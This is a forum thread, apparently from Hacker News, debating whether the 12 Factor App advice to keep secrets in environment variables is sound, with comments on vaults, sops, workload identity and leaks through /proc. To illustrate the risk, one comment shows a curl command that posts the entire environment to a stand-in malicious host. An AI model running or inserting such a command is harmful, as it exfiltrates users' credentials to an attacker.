Still incredibly relevant. Even if you don’t apply it, there is so much to learn by reading this in 15 minutes.
The only grievance I have with this is Chapter 3: Config [1] “Store config in the environment”, “Credentials to external services such as Amazon S3 or Twitter”
Besides being bad advice, this had the second-order effect of leading devs to believe they could put all their local env secrets in ~/.bashrc files.
Stop doing this. Do the other 11.5 factors.
The unwritten assumption in 12 Factor is: the environment is secure. For example, a production system should always have a secure means of setting environment variables. Said another way: If a random dev can change an environment variable in production either directly by logging in or indirectly by pushing code then there is something very very wrong.
If the dev is pushing code to production they should not simultaneously be pushing environment configs, this is doing two logically distinct things at once: Changing application behavior AND reconfiguring the server environment.
If the dev is adding secrets to their local config and they’re pushing that config to insecure places that means their deployment pipeline is broken and it should be fixed. .env is never committed to source for this reason, for example.
> The unwritten assumption in 12 Factor is: the environment is secure.
Fair assumption.
Assuming no attackers and you're only running trusted code, I still maintain the environment is a poor place to keep secrets. Devs adding `{ meta: process.env }` to logs. Instrumentation/reporting libraries dumping the process (and the env) for crash reports. Trust that subprocesses + dependencies inheriting your environment are taking equal care to avoid these issues, too.
Unfortunately, with secrets in the OS env, you‘re one `printenv` or improperly written third party dependency that leaks env vars away from a security incident.
The env and more importantly what populates it should be secure, but security works best in layers. Sanitizing the env after loading it is a nicer middleground, k8s-style secrets materialized to files work best and are conceptually close enough to the OS env.
It's not my intuition that materializing secrets to files is a better way to protect them than just injecting them into the environment, where they don't persist.
Dev/shm is used to materialize them, and then you have the ability to isolate the downstream code you might use from accessing it by dropping permissions or sandboxing it away from a file. You cannot really hide your environment from anything in process, since it's such a low level construct.
Thus it's easier to leak environment unintentionally, leaking file contents takes effort.
Not at all clear why this is a better setup than a launcher shim that pulls secrets from a secret store and injects them into the environment as the program launches --- which is a pretty normal shape for these things to take.
I guess you could be thinking "subprocess inheritance" as a downside? But subprocesses often need secrets, and if you arrange for that with the filesystem you have the same problem. And, of course, files leak all the time.
More to the point, though: none of this has anything to do with whether you should add secrets to your .bashrc or whatever, which is the argument I'm seeing on the thread.
Have you seen this where eBPF patches secrets inside TLS send buffers? https://github.com/spinningfactory/kloak
Now you have to be much more clever to leak them :)
It doesn't need to be a traditional file. You can pass it as essentially a read-once file by using stdin. Depending on your desire for modernity, similar behavior can be obtained by leaving a file handle open for the exec-ed process to inherit, via a Unix socket, or even a lightweight TCP daemon.
The env is technically still kind of a file on linux at least (through /proc).
Sometimes I feel like stdin or an unlinked memory mapped file might be the best location for this stuff. Wish Linux had a cloexec+1 option, where an fd is closed after two execs, so you can set up a child process for success.
Only in the sense that everything is technically a kind of a file given access to proc.
(Edit: I need to read up on this better)
systemd-creds too, for anyone who has not found it yet like I was a week ago.
tbf thats what a good logging lib is for, and if printenv can be run within the machine, then it's already too late
> you‘re one `printenv` or improperly written third party dependency that leaks env vars away from a security incident.
Game over already if anyone can run commands or arbitrary code. Not using the environment won't help you.
Adding a config setting should never be dangerous (if it is your system is deeply broken) and should be distinct from changing an existing config setting.
Adding on to what others say about printenv, various diagnostic tools (e.g. crash reporting stuff) will capture the environment. Env vars are just categorically so easy to accidentally leak that it can’t even be classed as an insecurity.
> Changing application behavior
Configuration changes also change application behavior, otherwise is it really “config”?
> Note that this definition of “config” does not include internal application config, such as config/routes.rb in Rails, or how code modules are connected in Spring. This type of config does not vary between deploys, and so is best done in the code.
I guess it depends on your definition of "behavior?" For example if the config is the endpoint address of an external resource, it's not really changing the application behavior per se.
The assumption is the vector. Why assume?
It's more accurate to describe it as a "premise", not an assumption. It may not be true of every environment, but it's a very common norm (for instance, secrets management systems inject tokens and such through the environment).
You can reject the premise in your own environments, and then that part of 12 Factor doesn't apply to you.
Even putting secrets aside, the environment is a crappy place for config data.
It's got a maximum size cap, is trivially introspectable by via any process that can read `/proc`, and sucks at representing hierarchical or structured data beyond k=v.
The proliferation of tools that come up with all sorts of contortions to encode e.g. JSON-ish structures into the environment is evidence that this ain't a great way to go. I hope we're moving towards a container-orchestrator-by-default future; mounting structured data into pseudo-files at runtime is a really nice alternative.
I’d speculate that this was a product of its time (early Heroku days), and that a goal at the time was to get secrets out of source control. Which was an antipattern way back then.
Times have changed since then, and there’s much better tooling available to help with this problem space and surface area these days.
> this had the second-order effect of leading devs to believe they could put all their local env secrets in ~/.bashrc files
Teach them to use dotenv.
We are moving away from configuration in config files because it is a pain to modify, especially if part of that configuration is secrets. You have to throw everything into your secrets vault of preference, and editing it requires extracting and reuploading the whole thing.
We are currently doing config in env by loading one or multiple secrets per kubernetes pod (mix and match).
What would be your suggestion?
My issue with the env is it's not a secret store. Dotenv is a delivery mechanism. If you're using it to put APP_BASE_URL or APP_PORT into your env, it's a very convenient one. If you're using dotenv to put SECRET_SIGNING_KEY into your env, it's as poor a delivery mechanism as ~/.bashrc is.
Processes and subprocesses inherit your environment. Too much can go wrong. Something as innocent as an error logging library adding `{ metadata: process.env }` to every line or as nefarious as `curl malicious.example.com -d "$(jq -n 'env')"` in a dependency you (or your agent) just pulled to test out in your local branch. Exfiltration is free. If you're loading secrets into your environment and _not explicitly cleaning it out immediately_, the security posture is trust & hope.
As patmorgan23 wrote in another comment "Secrets should go in a vault and retrieved with the help of a workload identity." Secrets management unfortunately isn't as easy as config management. I personally like sops[1].
[1] https://github.com/getsops/sops
Not a rhetorical question, just curious: Suppose you have all your secrets encrypted with sops. That secret that validates your application's identity, that it needs to use to get or decrypt the secrets, like an AWS keypair or similar, how do you provide that secret to the app?
Via workload identity (Instance Profiles in this case; IRSA with EKS)
It's not a secret store. It's an IPC mechanism. Secret stores are built on top of it.
Yeah, secrets should be fetched by application code from a secret store (aws secrets manager, vault, etc) using an identity. Put in a pull request.
This is the beauty of sOps. Store the secrets in the code, but store the keys in AWS SM and have sOps do the work. Works great with Instance Profiles or IRSA.
Ironically agents F'IN LOVE using dotenv for config but really struggle with sOps (as of Opus 4.6; maybe its better now).
I was a massive fan of dotenv but sOps is so much cleaner, easy enough to use and works well enough in k8s.
I wonder what alternative methods people use nowadays that are good enough but still simple and lightweight ? secret management services have its own place but not everyone have those available.
100% this.
1. Keep secrets in a dedicated secrets store.
2. Read directly from the secrets store in application code. There is no environment, there are no environment variables. Yes, even on local.
It's pretty normal to keep secrets in a dedicated secret store, and then have the service launcher inject them from the secret store into the environment.
normal indeed but not what i'd consider a best practice anymore. we've moved away from any secrets in the env after the typical secrets leak when secrets popped up in some debug logging that hit datadog.
we now have a secret cache layer api and the app loads secrets securely at time of use from that api. there's also no secret-0 problem because we use IAM auth when calling the cache.
edit: for those wondering, api response time is sub 1ms (rust!)
Just to clarify - for every seperate read, update or write to your database - you setup and teardown a new connection?
Well you’ll need to know the path in the secret store, so store the path in the environment.
Disagree, partially.
Buy-into storing credentials into environment variables.
Then, and this is important - MANAGE YOUR ENVIRONMENTS.
You shouldn't have prod level s3, or aws creds accessible openly in your environment. If someone can steal those values, they can steal the code, and pretty much everything else. This is very bad.
For prod (and possibly staging), use a lib that loads in values securely from an actual secrets service.
"The environment" is not "environment variables" and not ".env files"
For cloud services, it would typically be called a vault. But it could also be a hardware security module (HSM) with bring-your-own-key (BYOK, eg for certificates.)
Ansible also calls it a vault and encrypts it with a password — that file you can check into version control.
Confidently wrong. Did you read the source I linked?
> The twelve-factor app stores config in environment variables
The vault of the cloud provider would just inject the value of the environment variable securely so it doesn't have to be stored on-disk. What the parent poster wrote isn't wrong.
The parent poster is wrongly quoting me to say the original post doesn't mean “env var”. Yes, it does mean env var.
No, they are not stored permanently on disk according to 12f. They are only injected for the lifetime of the application and destroyed when stopped.
It's not okay to store your secret on your own machine disk's .bashrc forever.
It seems we're in agreement anyway.
Firmly agree. A lot of sibling comments are talking about environment mutation (which does have issues); I want to talk about environment read access.
The environment is a standard, locate-able, read-only at runtime k/v store in every process. That makes it an incredibly juicy target for exploits. There are tons of remote exploits well short of RCE which can access all or part of a server process's environment. If that environment contains secrets for everything that process might do, that's asking for trouble.
Consider a user-facing webserver with a rarely-used, admin-only route that talks to AWS APIs. Unless it's deployed on AWS and using IMDS, the 12-factor best practices say there should be AWS credentials in its environment.
Consider a service which, at startup, opens a connection to a telemetry/logging system, then drops privileges and handles requests. 12-factor best practices say there should be a secret for that telemetry system in its environment.
Additional examples abound. Most applications (even ones that aren't internet-facing web servers) use configured secrets infrequently--often only once, to open connections to external services--and not during the vast majority of requests they serve, but we put all secrets in the environment anyway.
Vaults don't automatically solve this problem either; many vaults provide secrets to applications by injecting them into process environment at start.
Good secret management at runtime should ideally be:
1. Mutable or at least delete-able. I really wish there were ways to remove environment variables after they're used (so I could say "once you have an authenticated, open socket or a refreshable auth token to $service, remove the initial login secret from memory entirely"), but absent highly complex multi-process/re-exec dances, that doesn't really exist. If, in Python, you 'del os.environ["foo"]', you haven't modified the environment segment of your program's memory.
2. Not in one common/uniform memory area or key-value API. Hell, it's slightly preferable to have secrets be stored piecemeal in regular variables in memory scattered around your code. Those are going to be slightly harder to find for malware that gets a foothold--security by obscurity, true, but the environment memory block/API is such a tempting and easy target that it buys you a bit more than a false sense of security here.
3. Ideally, stored or encrypted in memory (for secrets that have to stay in memory) such that an exploit which can read process memory doesn't get them for free. Some vaults have a host-local sidecar which provides secrets or a decryption key for them; that way, if an attacker gets memory-read without RCE they can't just exfil a memory image and figure out the decryption key later, but you don't have to be reliant on a remote networked service's uptime for all secret accesses. Even if you don't go that far, securing secrets in-memory at least gives you the option of doing zero-trust stuff based on request payloads, or even just making good-hygiene backend APIs that encode "you can only read the value for secret X if the request is for an admin route and authenticated" (which is a good idea for internet-exposed services with seldom-used risky secrets anyway, but doesn't help with parts 1 and 2 if that API is just wrapping env.get() or whatever).
I feel like people just think they should be doing all sorts of complicated stuff, and if they're not, they're somehow slacking off on security. You used to see the same thing with password hashes where people would write paragraphs about how they have salts and peppers and spices, passionately arguing for the necessity of each.
At the point where you're encrypting secrets in resident memory in a normal server program, you have gone fully into saffron-grade security. If you're worried about leaking secrets in your environment, overwrite the environment variable data and be done with it. In reality, if this is a real concern, unsetenv(3) is probably enough to avoid the actual attack vector --- a vulnerability where you leak environment variables qua environment variables (because you shell out or something).
Whatever vulnerability you're positing that leaks a secret out of arbitrary resident memory also leaks whatever secret you'd use to encrypt, and now you're not building a security system, you're building a DRM scheme. Don't let me yuck your yum on that, but: not a good ROI for security.
You're not wrong. My gripes above aren't a tacit accusation everyone is slacking off on security. I just wish we had standardized on better tools than env variables to make secrets a little more secure by default without requiring complicated stuff. But life goes on, most locks are more pickable than they should be, etc.
I do quibble with the statement that
> unsetenv(3) is probably enough to avoid the actual attack vector
It's not, because it doesn't modify the environment block of the process. Even if you use unsetenv, you're one path-traversal vuln away from folks being able to read all your startup-time secrets out of /proc/self/environ. Similar is true for exploits that can read process memory in small chunks: it takes time and risks detection to e.g. crawl around the stack/heap of who-knows-what-language to find interesting variables, but it's a lot easier to grab whatever's at the top of the stack by address (the env blob, which I think is also unmodified by most unsetenv(3) implementations). Path traversals and small-arbitrary-read exploits aren't exactly uncommon, and environment variables are the wp-admin/admin.php of exploit targets.
That's a quibble; you're broadly right, and that risk's not nearly severe enough to torture your code or bring in caching + encrypting runtime secret stores or whatnot.
I just wish env had been implemented without a /proc view and with reads requiring a cheap syscall rather than memory-residence, you know? Yeah, it's pointless to speculate about, but still seems like an obviously-preferable-in-retrospect road not taken.
"saffron-grade security" is pretty good, too.
> Besides being bad advice
What makes it bad advice?
> this had the second-order effect of leading devs to believe they could put all their local env secrets in ~/.bashrc files
You need some way to pass secrets to the app; doesn't every other way also suffer the same kind of issue?
> You need some way to pass secrets to the app
Absolutely. This is why the env method is so attractive. It's simple and feels "free".
> doesn't every other way also suffer the same kind of issue
Not entirely. Accessibility (or dev ergonomics) and security are opposite ends of the same dial. As the other commenter wrote: a workload identity and a vault, and sharing the secrets between the two in a way that doesn't leave a plain-text trace for everyone to read (the environment is not private).
I like sops: https://github.com/getsops/sops
Secrets should go in a vault and retrieved with the help of a workload identity.
How does the running app instance get the workload identity?
The ways I can think of are (1) it's baked into the source code (worst possible security), (2) it's provided on the command line (also bad since command lines are visible to ps unless you do various OS-specific hijinks), (3) it's provided in an environment variable (no better than before), or (4) it's read from some well-known path (it seems to me that anything that could read a process's env vars could also read the contents of this file, so how is this more secure?)
Now that we use coding agents, you don't want to store secrets anywhere in the same VM, because that makes them vulnerable to exfiltration. The best way is to access external services via a proxy that holds the secrets.
exe.dev has a zillion of them: https://exe.dev/docs/integrations
It's still completely correct. You don't have to use environment variables to store the environment. It can be stored in a secrets management system and loaded on-demand.
The point is that you must keep secrets, and anything environment-specific, out of the code. Follow the spirit of the law, not the letter.